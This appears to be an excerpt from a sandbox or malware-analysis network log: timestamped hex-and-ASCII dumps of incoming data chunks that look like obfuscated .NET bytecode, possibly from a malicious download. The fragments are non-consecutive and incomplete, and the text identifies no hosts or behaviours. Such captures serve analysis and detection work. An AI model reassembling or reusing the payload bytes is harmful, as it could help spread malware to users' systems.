2022-01-14 03:59:13 UTC	28	IN	Data Raw: ff fe 0c 0a 00 13 27 20 a2 01 00 00 38 9d b0 ff ff 11 75 11 1d 18 58 11 31 18 91 9c 20 02 01 00 00 28 1e 01 00 06 3a 83 b0 ff ff 26 20 1c 00 00 00 38 78 b0 ff ff 20 2f 00 00 00 20 6a 00 00 00 58 fe 0e 40 00 20 6c 00 00 00 fe 0e 51 00 38 57 b0 ff ff fe 0c 05 00 20 08 00 00 00 fe 0c 1a 00 9c 20 25 00 00 00 28 1f 01 00 06 39 3e b0 ff ff 26 20 18 00 00 00 38 33 b0 ff ff 20 b7 00 00 00 20 3d 00 00 00 59 fe 0e 0e 00 20 ed 00 00 00 38 1a b0 ff ff 11 3c 1a 1e 12 09 28 b0 00 00 06 26 20 0f 01 00 00 28 1f 01 00 06 3a ff af ff ff 26 20 63 01 00 00 38 f4 af ff ff 20 61 00 00 00 20 02 00 00 00 58 fe 0e 0e 00 20 28 01 00 00 38 db af ff ff 11 75 16 11 46 11 75 8e 69 28 cc 00 00 06 20 58 02 00 00 fe 0e 51 00 38 bb af ff ff 28 d4 00 00 06 1a 3b 2a d6 ff ff 20 03 00 00 00 Data Ascii: ' 8uX1 (:& 8x / jX@ lQ8W %(9>& 83 =Y 8<(& (:& c8 a X (8uFui( XQ8(;*
2022-01-14 03:59:13 UTC	30	IN	Data Raw: 38 50 ab ff ff fe 0c 0a 00 20 18 00 00 00 fe 0c 40 00 9c 20 f1 00 00 00 28 1e 01 00 06 3a 33 ab ff ff 26 20 d4 00 00 00 38 28 ab ff ff 7e 4d 00 00 04 3a 22 c4 ff ff 20 ea 00 00 00 38 14 ab ff ff fe 0c 0a 00 20 03 00 00 00 fe 0c 40 00 9c 20 69 01 00 00 28 1e 01 00 06 3a f7 aa ff ff 26 20 66 01 00 00 38 ec aa ff ff 20 7d 00 00 00 20 5e 00 00 00 59 fe 0e 0e 00 20 d2 00 00 00 fe 0e 51 00 38 cb aa ff ff 2a 00 20 26 02 00 00 fe 0e 51 00 38 bb aa ff ff fe 0c 05 00 20 04 00 00 00 20 30 00 00 00 20 3e 00 00 00 58 9c 20 7a 00 00 00 38 a0 aa ff ff fe 0c 05 00 20 02 00 00 00 fe 0c 2c 00 9c 20 99 02 00 00 28 1e 01 00 06 3a 83 aa ff ff 26 20 7b 01 00 00 38 78 aa ff ff 20 00 1e 00 00 13 57 20 38 00 00 00 28 1f 01 00 06 3a 62 aa ff ff 26 20 48 00 00 00 38 57 aa ff ff fe Data Ascii: 8P @ (:3& 8(~M:" 8 @ i(:& f8 } ^Y Q8* &Q8 0 >X z8 , (:& {8x W 8(:b& H8W
2022-01-14 03:59:13 UTC	31	IN	Data Raw: 00 38 04 00 00 00 fe 0c 2f 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 37 02 00 00 26 20 00 00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 37 00 45 02 00 00 00 05 00 00 00 d9 00 00 00 38 00 00 00 00 00 11 2a 73 76 00 00 0a d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 13 28 20 00 00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 61 00 45 02 00 00 00 05 00 00 00 3f 00 00 00 38 00 00 00 00 d0 2e 00 00 02 28 03 01 00 06 11 28 28 10 01 00 06 28 11 01 00 06 74 2e 00 00 02 80 5c 00 00 04 20 01 00 00 00 28 1e 01 00 06 3a bf ff ff ff 26 20 00 00 00 00 38 b4 ff ff ff dd 4c 00 00 00 26 20 00 00 00 00 28 1e 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 29 00 45 01 00 00 00 05 00 00 00 38 Data Ascii: 8/E87& (9& 87E8*sv.((( (9& 8aE?8.((((t.\ (:& 8L& (:& 8)E8
2022-01-14 03:59:13 UTC	32	IN	Data Raw: 00 28 1e 01 00 06 39 98 a0 ff ff 26 20 3a 01 00 00 38 8d a0 ff ff fe 0c 05 00 13 13 20 07 00 00 00 38 7d a0 ff ff 11 6d 28 f3 00 00 06 13 17 20 49 01 00 00 38 6a a0 ff ff 28 05 01 00 06 11 72 28 06 01 00 06 13 1e 20 14 00 00 00 28 1e 01 00 06 3a 4d a0 ff ff 26 20 08 00 00 00 38 42 a0 ff ff fe 0c 0a 00 20 11 00 00 00 20 14 00 00 00 20 76 00 00 00 58 9c 20 82 00 00 00 28 1e 01 00 06 39 1e a0 ff ff 26 20 e5 01 00 00 38 13 a0 ff ff fe 0c 0a 00 20 15 00 00 00 20 c4 00 00 00 20 41 00 00 00 59 9c 20 61 00 00 00 28 1f 01 00 06 39 ef 9f ff ff 26 20 35 00 00 00 38 e4 9f ff ff 7e 66 00 00 04 28 ef 00 00 06 16 9a 28 f0 00 00 06 13 5d 20 fc 00 00 00 38 c7 9f ff ff 20 63 00 00 00 20 6b 00 00 00 58 fe 0e 0e 00 20 74 01 00 00 28 1e 01 00 06 39 a9 9f ff ff 26 20 31 02 00 Data Ascii: (9& :8 8}m( I8j(r( (:M& 8B vX (9& 8 AY a(9& 58~f((] 8 c kX t(9& 1
2022-01-14 03:59:13 UTC	34	IN	Data Raw: 20 0a 00 00 00 fe 0c 40 00 9c 20 2c 01 00 00 28 1f 01 00 06 3a 89 9b ff ff 26 20 0d 02 00 00 38 7e 9b ff ff fe 0c 0a 00 20 0a 00 00 00 20 b3 00 00 00 20 3b 00 00 00 59 9c 20 3c 00 00 00 28 1f 01 00 06 39 5a 9b ff ff 26 20 2c 00 00 00 38 4f 9b ff ff 11 75 11 1d 1d 58 11 35 1d 91 9c 20 75 02 00 00 38 3a 9b ff ff 18 13 1d 20 f3 01 00 00 38 2d 9b ff ff 11 6d 28 f3 00 00 06 26 20 8f 01 00 00 38 1b 9b ff ff 7e 5c 00 00 04 28 10 01 00 06 28 19 01 00 06 28 1a 01 00 06 20 8e 01 00 00 38 fd 9a ff ff 11 21 28 ab 00 00 06 13 16 20 50 01 00 00 28 1f 01 00 06 3a e5 9a ff ff 26 20 e0 01 00 00 38 da 9a ff ff 20 b4 00 00 00 20 51 00 00 00 59 fe 0e 0e 00 20 9a 00 00 00 38 c1 9a ff ff 11 72 18 1f 74 9c 20 13 00 00 00 28 1e 01 00 06 3a ac 9a ff ff 26 20 0e 00 00 00 38 a1 9a Data Ascii: @ ,(:& 8~ ;Y <(9Z& ,8OuX5 u8: 8-m(& 8~\((( 8!( P(:& 8 QY 8rt (:& 8
2022-01-14 03:59:13 UTC	35	IN	Data Raw: dd 6f 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 02 6f 74 00 00 0a 72 f7 0f 00 70 6f 7e 00 00 0a 02 16 8d 0a 00 00 01 6f 7f 00 00 0a 6f 75 00 00 0a 28 7a 00 00 0a 39 27 00 00 00 02 6f 74 00 00 0a 72 f7 0f 00 70 6f 7e 00 00 0a 02 16 8d 0a 00 00 01 6f 7f 00 00 0a 6f 75 00 00 0a 0a dd 11 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 72 01 00 00 70 2a 06 2a 00 01 28 00 00 00 00 00 00 2b 2b 00 06 0a 00 00 01 00 00 32 00 5d 8f 00 06 0a 00 00 01 00 00 96 00 57 ed 00 06 0a 00 00 01 13 30 05 00 4f 00 00 00 00 00 00 00 7e 59 00 00 04 3a 37 00 00 00 28 b3 00 00 06 72 09 10 00 70 28 62 00 00 0a 72 15 10 00 70 28 80 00 00 0a 28 ac 00 00 06 d0 32 00 00 02 28 23 00 00 0a 28 81 00 00 0a 74 32 00 00 02 80 59 00 00 04 7e 59 00 00 04 02 03 04 6f 41 01 00 06 2a 00 13 30 06 00 Data Ascii: o&otrpo~oou(z9'otrpo~oou&rp*(++2]W0O~Y:7(rp(brp((2(#(t2Y~YoA0
2022-01-14 03:59:13 UTC	36	IN	Data Raw: 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 0f 11 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 43 11 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 77 11 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 13 30 02 00 02 00 00 00 18 00 00 11 14 2a 00 00 13 30 02 00 02 00 00 00 18 00 00 11 14 2a 00 00 72 72 ab 11 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 df 11 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 13 30 02 00 02 00 00 00 19 00 00 11 14 2a 00 00 13 30 02 00 02 00 00 00 19 00 00 11 14 2a 00 00 0a 17 2a 00 3e 00 fe 09 00 00 fe 09 01 Data Ascii: %%rrpoa&&%%rrCpoa&&%%rrwpoa&&%%00rrpoa&&%%rrpoa&&%%00*>
2022-01-14 03:59:13 UTC	38	IN	Data Raw: 00 00 0a 2a 00 2e 00 fe 09 00 00 28 be 00 00 0a 2a 2e 00 fe 09 00 00 28 bf 00 00 0a 2a 2a fe 09 00 00 6f c0 00 00 0a 2a 00 2e 00 fe 09 00 00 28 c1 00 00 0a 2a 3e 00 fe 09 00 00 fe 09 01 00 28 25 00 00 0a 2a 5e 00 fe 09 00 00 fe 09 01 00 fe 09 02 00 fe 09 03 00 28 ae 00 00 06 2a 3e 00 fe 09 00 00 fe 09 01 00 28 c2 00 00 0a 2a 16 14 14 fe 01 2a 00 00 0a 14 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 4e 02 28 09 00 00 0a 02 03 73 3c 00 00 0a 7d 73 00 00 04 2a 32 02 Data Ascii: .(.(*o.(>(%^(>(((***(0**(((N(s<}s*2
2022-01-14 03:59:13 UTC	39	IN	Data Raw: 25 00 00 b4 23 00 00 5e 00 00 00 c8 29 00 00 bb 1f 00 00 f5 16 00 00 2c 11 00 00 97 1b 00 00 27 01 00 00 3a 1f 00 00 52 19 00 00 99 25 00 00 8f 14 00 00 12 25 00 00 0d 11 00 00 15 06 00 00 b1 13 00 00 28 30 00 00 a5 1d 00 00 1d 00 00 00 f8 1e 00 00 bd 03 00 00 da 1b 00 00 e6 00 00 00 ed 22 00 00 e1 07 00 00 9d 0d 00 00 7c 21 00 00 a8 2b 00 00 8c 1d 00 00 9f 1a 00 00 87 20 00 00 77 24 00 00 f8 18 00 00 6d 03 00 00 9b 0e 00 00 4d 26 00 00 8b 18 00 00 09 10 00 00 76 06 00 00 ad 26 00 00 6f 29 00 00 3d 22 00 00 8f 06 00 00 f5 12 00 00 f4 2a 00 00 b7 28 00 00 31 06 00 00 32 02 00 00 5d 0d 00 00 02 25 00 00 b3 0e 00 00 f7 0c 00 00 df 04 00 00 d5 03 00 00 16 0c 00 00 24 2e 00 00 75 0d 00 00 7a 2a 00 00 c2 0f 00 00 1d 17 00 00 e7 08 00 00 8a 07 00 00 66 26 00 00 Data Ascii: %#^),':R%%(0"\|!+ w$mM&v&o)="(12]%$.uzf&
2022-01-14 03:59:13 UTC	40	IN	Data Raw: ff 20 86 00 00 00 20 63 00 00 00 59 fe 0e 28 00 20 42 00 00 00 38 e3 f6 ff ff fe 0c 0e 00 20 15 00 00 00 fe 0c 29 00 9c 20 48 01 00 00 28 73 01 00 06 39 c6 f6 ff ff 26 20 59 01 00 00 38 bb f6 ff ff 20 5c 00 00 00 20 46 00 00 00 58 fe 0e 29 00 20 19 00 00 00 28 73 01 00 06 3a 9d f6 ff ff 26 20 19 00 00 00 38 92 f6 ff ff 11 2a 11 03 58 13 2a 20 60 01 00 00 28 73 01 00 06 3a 7c f6 ff ff 26 20 f2 00 00 00 38 71 f6 ff ff fe 0c 0e 00 20 06 00 00 00 20 9e 00 00 00 20 58 00 00 00 58 9c 20 5e 00 00 00 38 52 f6 ff ff fe 0c 0e 00 20 04 00 00 00 20 e4 00 00 00 20 4c 00 00 00 59 9c 20 5d 01 00 00 38 33 f6 ff ff fe 0c 11 00 20 0e 00 00 00 fe 0c 28 00 9c 20 29 01 00 00 38 1b f6 ff ff 20 53 00 00 00 20 09 00 00 00 58 fe 0e 29 00 20 ae 00 00 00 38 02 f6 ff ff fe 0c 0e 00 Data Ascii: cY( B8 ) H(s9& Y8 \ FX) (s:& 8X `(s:\|& 8q XX ^8R LY ]83 ( )8 S X) 8
2022-01-14 03:59:13 UTC	42	IN	Data Raw: 00 00 38 9d f1 ff ff 11 0b 11 1d 5d 13 0d 20 15 00 00 00 fe 0e 20 00 38 84 f1 ff ff fe 0c 0e 00 20 18 00 00 00 fe 0c 29 00 9c 20 9b 00 00 00 38 70 f1 ff ff fe 0c 0e 00 20 11 00 00 00 fe 0c 29 00 9c 20 50 00 00 00 28 74 01 00 06 39 53 f1 ff ff 26 20 29 00 00 00 38 48 f1 ff ff 20 7a 00 00 00 20 1c 00 00 00 58 fe 0e 29 00 20 02 00 00 00 28 74 01 00 06 3a 2a f1 ff ff 26 20 0b 00 00 00 38 1f f1 ff ff fe 0c 0e 00 20 00 00 00 00 20 20 00 00 00 20 62 00 00 00 58 9c 20 1f 00 00 00 28 74 01 00 06 39 fb f0 ff ff 26 20 1c 00 00 00 38 f0 f0 ff ff fe 0c 0e 00 20 10 00 00 00 fe 0c 29 00 9c 20 03 01 00 00 38 d8 f0 ff ff 20 cc 00 00 00 20 44 00 00 00 59 fe 0e 29 00 20 1a 01 00 00 38 bf f0 ff ff fe 0c 11 00 20 03 00 00 00 fe 0c 28 00 9c 20 9d 00 00 00 28 73 01 00 06 3a a2 Data Ascii: 8] 8 ) 8p ) P(t9S& )8H z X) (t:*& 8 bX (t9& 8 ) 8 DY) 8 ( (s:
2022-01-14 03:59:13 UTC	43	IN	Data Raw: ff fe 0c 0e 00 20 0a 00 00 00 fe 0c 29 00 9c 20 3f 00 00 00 28 74 01 00 06 39 2d ec ff ff 26 20 30 00 00 00 38 22 ec ff ff 20 b3 00 00 00 20 3b 00 00 00 59 fe 0e 29 00 20 f6 00 00 00 28 73 01 00 06 3a 04 ec ff ff 26 20 16 00 00 00 38 f9 eb ff ff fe 0c 11 00 20 02 00 00 00 fe 0c 28 00 9c 20 54 01 00 00 38 e1 eb ff ff fe 0c 0e 00 20 19 00 00 00 20 fc 00 00 00 20 54 00 00 00 59 9c 20 25 01 00 00 fe 0e 20 00 38 ba eb ff ff fe 0c 0e 00 20 03 00 00 00 20 da 00 00 00 20 48 00 00 00 59 9c 20 03 01 00 00 28 73 01 00 06 39 9a eb ff ff 26 20 2a 01 00 00 38 8f eb ff ff 11 06 8e 69 1a 5d 13 05 20 77 01 00 00 38 7d eb ff ff fe 0c 11 00 20 0c 00 00 00 fe 0c 28 00 9c 20 e7 00 00 00 38 65 eb ff ff 20 f5 00 00 00 20 51 00 00 00 59 fe 0e 29 00 20 7e 01 00 00 28 73 01 00 06 Data Ascii: ) ?(t9-& 08" ;Y) (s:& 8 ( T8 TY % 8 HY (s9& *8i] w8} ( 8e QY) ~(s
2022-01-14 03:59:13 UTC	44	IN	Data Raw: ee e6 ff ff 26 20 06 00 00 00 38 e3 e6 ff ff 20 dd 00 00 00 20 49 00 00 00 59 fe 0e 29 00 20 5f 00 00 00 38 ca e6 ff ff fe 0c 0e 00 20 13 00 00 00 fe 0c 29 00 9c 20 65 01 00 00 38 b2 e6 ff ff fe 0c 0e 00 20 03 00 00 00 20 a8 00 00 00 20 38 00 00 00 59 9c 20 2b 01 00 00 28 73 01 00 06 3a 8e e6 ff ff 26 20 14 00 00 00 38 83 e6 ff ff 16 13 08 20 17 01 00 00 28 73 01 00 06 3a 71 e6 ff ff 26 20 82 00 00 00 38 66 e6 ff ff 20 65 00 00 00 20 3e 00 00 00 58 fe 0e 29 00 20 e5 00 00 00 28 73 01 00 06 39 48 e6 ff ff 26 20 ee 00 00 00 38 3d e6 ff ff fe 0c 0e 00 20 1f 00 00 00 20 ce 00 00 00 20 44 00 00 00 59 9c 20 a1 00 00 00 28 74 01 00 06 39 19 e6 ff ff 26 20 29 00 00 00 38 0e e6 ff ff 11 0b 17 58 13 0b 20 ce 00 00 00 38 fe e5 ff ff 20 b0 00 00 00 20 38 00 00 00 59 Data Ascii: & 8 IY) _8 ) e8 8Y +(s:& 8 (s:q& 8f e >X) (s9H& 8= DY (t9& )8X 8 8Y
2022-01-14 03:59:13 UTC	46	IN	Data Raw: 95 e1 ff ff 20 d5 00 00 00 20 47 00 00 00 59 fe 0e 29 00 20 0a 00 00 00 28 74 01 00 06 3a 77 e1 ff ff 26 20 0c 00 00 00 38 6c e1 ff ff fe 0c 11 00 20 05 00 00 00 20 96 00 00 00 20 32 00 00 00 59 9c 20 79 01 00 00 38 4d e1 ff ff 20 28 00 00 00 20 04 00 00 00 59 fe 0e 28 00 20 aa 00 00 00 38 34 e1 ff ff fe 0c 11 00 20 0c 00 00 00 fe 0c 28 00 9c 20 44 00 00 00 38 1c e1 ff ff 16 13 03 20 45 00 00 00 38 0f e1 ff ff 20 81 00 00 00 20 2b 00 00 00 59 fe 0e 28 00 20 82 00 00 00 28 73 01 00 06 3a f1 e0 ff ff 26 20 0f 00 00 00 38 e6 e0 ff ff fe 0c 11 00 20 0c 00 00 00 20 5b 00 00 00 20 14 00 00 00 58 9c 20 84 00 00 00 38 c7 e0 ff ff fe 0c 0e 00 20 1f 00 00 00 fe 0c 29 00 9c 20 73 01 00 00 38 af e0 ff ff 20 66 00 00 00 20 2d 00 00 00 59 fe 0e 29 00 20 8a 00 00 00 28 Data Ascii: GY) (t:w& 8l 2Y y8M ( Y( 84 ( D8 E8 +Y( (s:& 8 [ X 8 ) s8 f -Y) (
2022-01-14 03:59:13 UTC	47	IN	Data Raw: 00 59 9c 20 33 01 00 00 38 33 dc ff ff 20 19 00 00 00 20 5b 00 00 00 58 fe 0e 29 00 20 5e 01 00 00 38 1a dc ff ff 11 1c 11 1f 11 07 20 ff 00 00 00 5f d2 9c 20 4a 01 00 00 38 02 dc ff ff 11 21 73 21 00 00 0a 16 73 ca 00 00 0a 13 15 20 2f 00 00 00 38 e9 db ff ff fe 0c 0e 00 20 08 00 00 00 fe 0c 29 00 9c 20 bc 00 00 00 38 d1 db ff ff fe 0c 0e 00 20 0b 00 00 00 fe 0c 29 00 9c 20 9f 00 00 00 28 74 01 00 06 39 b4 db ff ff 26 20 0c 00 00 00 38 a9 db ff ff 20 01 00 00 00 13 0a 20 4d 00 00 00 fe 0e 20 00 38 90 db ff ff fe 0c 0e 00 20 1a 00 00 00 20 02 00 00 00 20 66 00 00 00 58 9c 20 3c 00 00 00 38 75 db ff ff 20 93 00 00 00 20 31 00 00 00 59 fe 0e 29 00 20 57 00 00 00 28 73 01 00 06 3a 57 db ff ff 26 20 32 00 00 00 38 4c db ff ff fe 0c 0e 00 20 0d 00 00 00 fe 0c Data Ascii: Y 383 [X) ^8 _ J8!s!s /8 ) 8 ) (t9& 8 M 8 fX <8u 1Y) W(s:W& 28L
2022-01-14 03:59:13 UTC	48	IN	Data Raw: 28 73 01 00 06 3a dd d6 ff ff 26 20 24 00 00 00 38 d2 d6 ff ff 20 7b 00 00 00 20 7b 00 00 00 59 fe 0e 29 00 20 6a 00 00 00 fe 0e 20 00 38 b1 d6 ff ff fe 0c 11 00 20 0e 00 00 00 20 d7 00 00 00 20 47 00 00 00 59 9c 20 86 00 00 00 38 96 d6 ff ff fe 0c 0e 00 20 18 00 00 00 fe 0c 29 00 9c 20 3b 01 00 00 28 74 01 00 06 39 79 d6 ff ff 26 20 4e 00 00 00 38 6e d6 ff ff fe 0c 0e 00 20 15 00 00 00 20 be 00 00 00 20 3f 00 00 00 59 9c 20 82 00 00 00 28 73 01 00 06 39 4a d6 ff ff 26 20 ac 00 00 00 38 3f d6 ff ff 20 80 00 00 00 20 73 00 00 00 58 fe 0e 29 00 20 7d 00 00 00 38 26 d6 ff ff 11 25 28 6f 01 00 06 28 6c 01 00 06 80 77 00 00 04 20 e9 00 00 00 38 0b d6 ff ff 38 bf de ff ff 20 95 00 00 00 38 fc d5 ff ff fe 0c 0e 00 20 1b 00 00 00 20 8d 00 00 00 20 2f 00 00 00 59 Data Ascii: (s:& $8 { {Y) j 8 GY 8 ) ;(t9y& N8n ?Y (s9J& 8? sX) }8&%(o(lw 88 8 /Y
2022-01-14 03:59:13 UTC	50	IN	Data Raw: 0e 01 00 00 38 85 d1 ff ff 17 80 78 00 00 04 20 a7 00 00 00 38 75 d1 ff ff fe 0c 0e 00 20 01 00 00 00 fe 0c 29 00 9c 20 73 00 00 00 28 73 01 00 06 3a 58 d1 ff ff 26 20 2e 00 00 00 38 4d d1 ff ff fe 0c 0e 00 20 03 00 00 00 fe 0c 29 00 9c 20 b3 00 00 00 fe 0e 20 00 38 2d d1 ff ff 20 49 00 00 00 20 0a 00 00 00 58 fe 0e 29 00 20 6e 00 00 00 28 74 01 00 06 39 13 d1 ff ff 26 20 0b 00 00 00 38 08 d1 ff ff 11 2a 11 03 58 13 2a 20 19 01 00 00 28 73 01 00 06 3a f2 d0 ff ff 26 20 88 00 00 00 38 e7 d0 ff ff d0 29 00 00 02 28 66 01 00 06 6f 24 00 00 0a 72 13 12 00 70 28 67 01 00 06 73 39 01 00 06 13 13 20 1c 01 00 00 28 73 01 00 06 3a b8 d0 ff ff 26 20 36 00 00 00 38 ad d0 ff ff fe 0c 11 00 20 04 00 00 00 fe 0c 28 00 9c 20 71 01 00 00 fe 0e 20 00 38 8d d0 ff ff 20 b1 Data Ascii: 8x 8u ) s(s:X& .8M ) 8- I X) n(t9& 8X (s:& 8)(fo$rp(gs9 (s:& 68 ( q 8
2022-01-14 03:59:13 UTC	51	IN	Data Raw: 20 d4 00 00 00 20 46 00 00 00 59 9c 20 33 00 00 00 fe 0e 20 00 38 17 cc ff ff fe 0c 11 00 20 0e 00 00 00 fe 0c 28 00 9c 20 6b 01 00 00 28 74 01 00 06 39 fe cb ff ff 26 20 3d 00 00 00 38 f3 cb ff ff fe 0c 11 00 20 00 00 00 00 20 9f 00 00 00 20 35 00 00 00 59 9c 20 1d 00 00 00 28 73 01 00 06 39 cf cb ff ff 26 20 a9 00 00 00 38 c4 cb ff ff 20 e7 00 00 00 20 4d 00 00 00 59 fe 0e 28 00 20 5d 00 00 00 28 73 01 00 06 3a a6 cb ff ff 26 20 0a 00 00 00 38 9b cb ff ff 11 05 16 3e c8 d5 ff ff 20 87 00 00 00 38 89 cb ff ff 20 9d 00 00 00 20 34 00 00 00 59 fe 0e 28 00 20 72 00 00 00 28 73 01 00 06 39 6b cb ff ff 26 20 fc 00 00 00 38 60 cb ff ff 20 5e 00 00 00 20 2f 00 00 00 58 fe 0e 29 00 20 20 00 00 00 38 47 cb ff ff fe 0c 0e 00 20 08 00 00 00 20 9c 00 00 00 20 34 00 Data Ascii: FY 3 8 ( k(t9& =8 5Y (s9& 8 MY( ](s:& 8> 8 4Y( r(s9k& 8` ^ /X) 8G 4
2022-01-14 03:59:13 UTC	52	IN	Data Raw: 00 0a 6f d3 00 00 0a 28 5e 01 00 06 2a 00 5e 7e 79 00 00 04 3a 0c 00 00 00 17 80 79 00 00 04 73 63 01 00 06 26 2a 7a 16 8d 08 00 00 01 80 76 00 00 04 14 80 77 00 00 04 16 80 78 00 00 04 16 80 79 00 00 04 2a 00 2e 00 fe 09 00 00 28 23 00 00 0a 2a 3a fe 09 00 00 fe 09 01 00 6f 3b 00 00 0a 2a 00 2a fe 09 00 00 6f 3a 01 00 06 2a 00 3a fe 09 00 00 fe 09 01 00 6f 37 00 00 0a 2a 00 2a fe 09 00 00 6f 3d 00 00 0a 2a 00 3a fe 09 00 00 fe 09 01 00 6f 3b 01 00 06 2a 00 2e 00 fe 09 00 00 28 7d 01 00 06 2a 3a fe 09 00 00 fe 09 01 00 6f d4 00 00 0a 2a 00 2a fe 09 00 00 6f 85 00 00 0a 2a 00 2a fe 09 00 00 6f 86 00 00 0a 2a 00 2a fe 09 00 00 6f d5 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 7e 01 00 06 2a 2a fe 09 00 00 6f cd 00 00 0a 2a 00 16 14 14 fe 01 2a 00 00 0a Data Ascii: o(^^~y:ysc&zvwxy.(#:o;*o::o7*o=:o;.(}:ooo*o>(~o
2022-01-14 03:59:13 UTC	54	IN	Data Raw: 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 Data Ascii: 000000*00000*0000
2022-01-14 03:59:13 UTC	58	IN	Data Raw: 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 22 00 14 a5 13 00 00 01 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 22 00 14 a5 13 00 00 01 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 Data Ascii: ***(0"**00**("0****
2022-01-14 03:59:13 UTC	62	IN	Data Raw: 00 00 00 3a 0e 03 0e 00 0e 01 0e 02 6f 33 05 00 06 2a 00 42 28 a9 00 00 06 d0 93 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 37 05 00 06 2a 00 42 28 a9 00 00 06 d0 94 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 3b 05 00 06 2a 00 42 28 a9 00 00 06 d0 95 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 3f 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 96 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 43 05 00 06 2a 00 42 28 a9 00 00 06 d0 97 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 47 05 00 06 2a 00 42 28 a9 00 00 06 d0 98 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 4b 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 99 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 4f 05 00 06 2a 00 42 28 a9 00 Data Ascii: :o3B((o7B((*o;B((2o?B((*oCB((*oGB((2oKB((*oOB(
2022-01-14 03:59:13 UTC	66	IN	Data Raw: 00 00 2d 00 1b 00 63 00 02 01 00 00 e8 04 00 00 2d 00 1b 00 68 00 02 01 00 00 3c 05 00 00 2d 00 1b 00 6d 00 02 01 00 00 a7 05 00 00 2d 00 1b 00 72 00 02 01 00 00 ba 05 00 00 2d 00 1b 00 77 00 11 01 00 00 f0 05 00 00 31 00 1b 00 7c 00 11 01 00 00 28 06 00 00 31 00 1e 00 7c 00 11 01 00 00 72 06 00 00 31 00 20 00 7c 00 11 01 00 00 ac 06 00 00 31 00 21 00 7c 00 11 01 00 00 dc 06 00 00 31 00 24 00 7c 00 11 01 00 00 0b 07 00 00 31 00 29 00 7c 00 09 01 00 00 48 07 00 00 31 00 2c 00 7c 00 09 01 01 00 7d 07 00 00 31 00 30 00 7c 00 01 01 00 00 8f 07 00 00 29 00 42 00 7c 00 00 01 00 00 d6 07 00 00 29 00 44 00 82 00 13 01 00 00 f5 07 00 00 31 00 45 00 83 00 00 00 00 00 16 08 00 00 29 00 45 00 83 00 00 00 00 00 45 08 58 08 29 00 45 00 84 00 05 01 00 00 6b 08 00 00 2d Data Ascii: -c-h<-m-r-w1\|(1\|r1 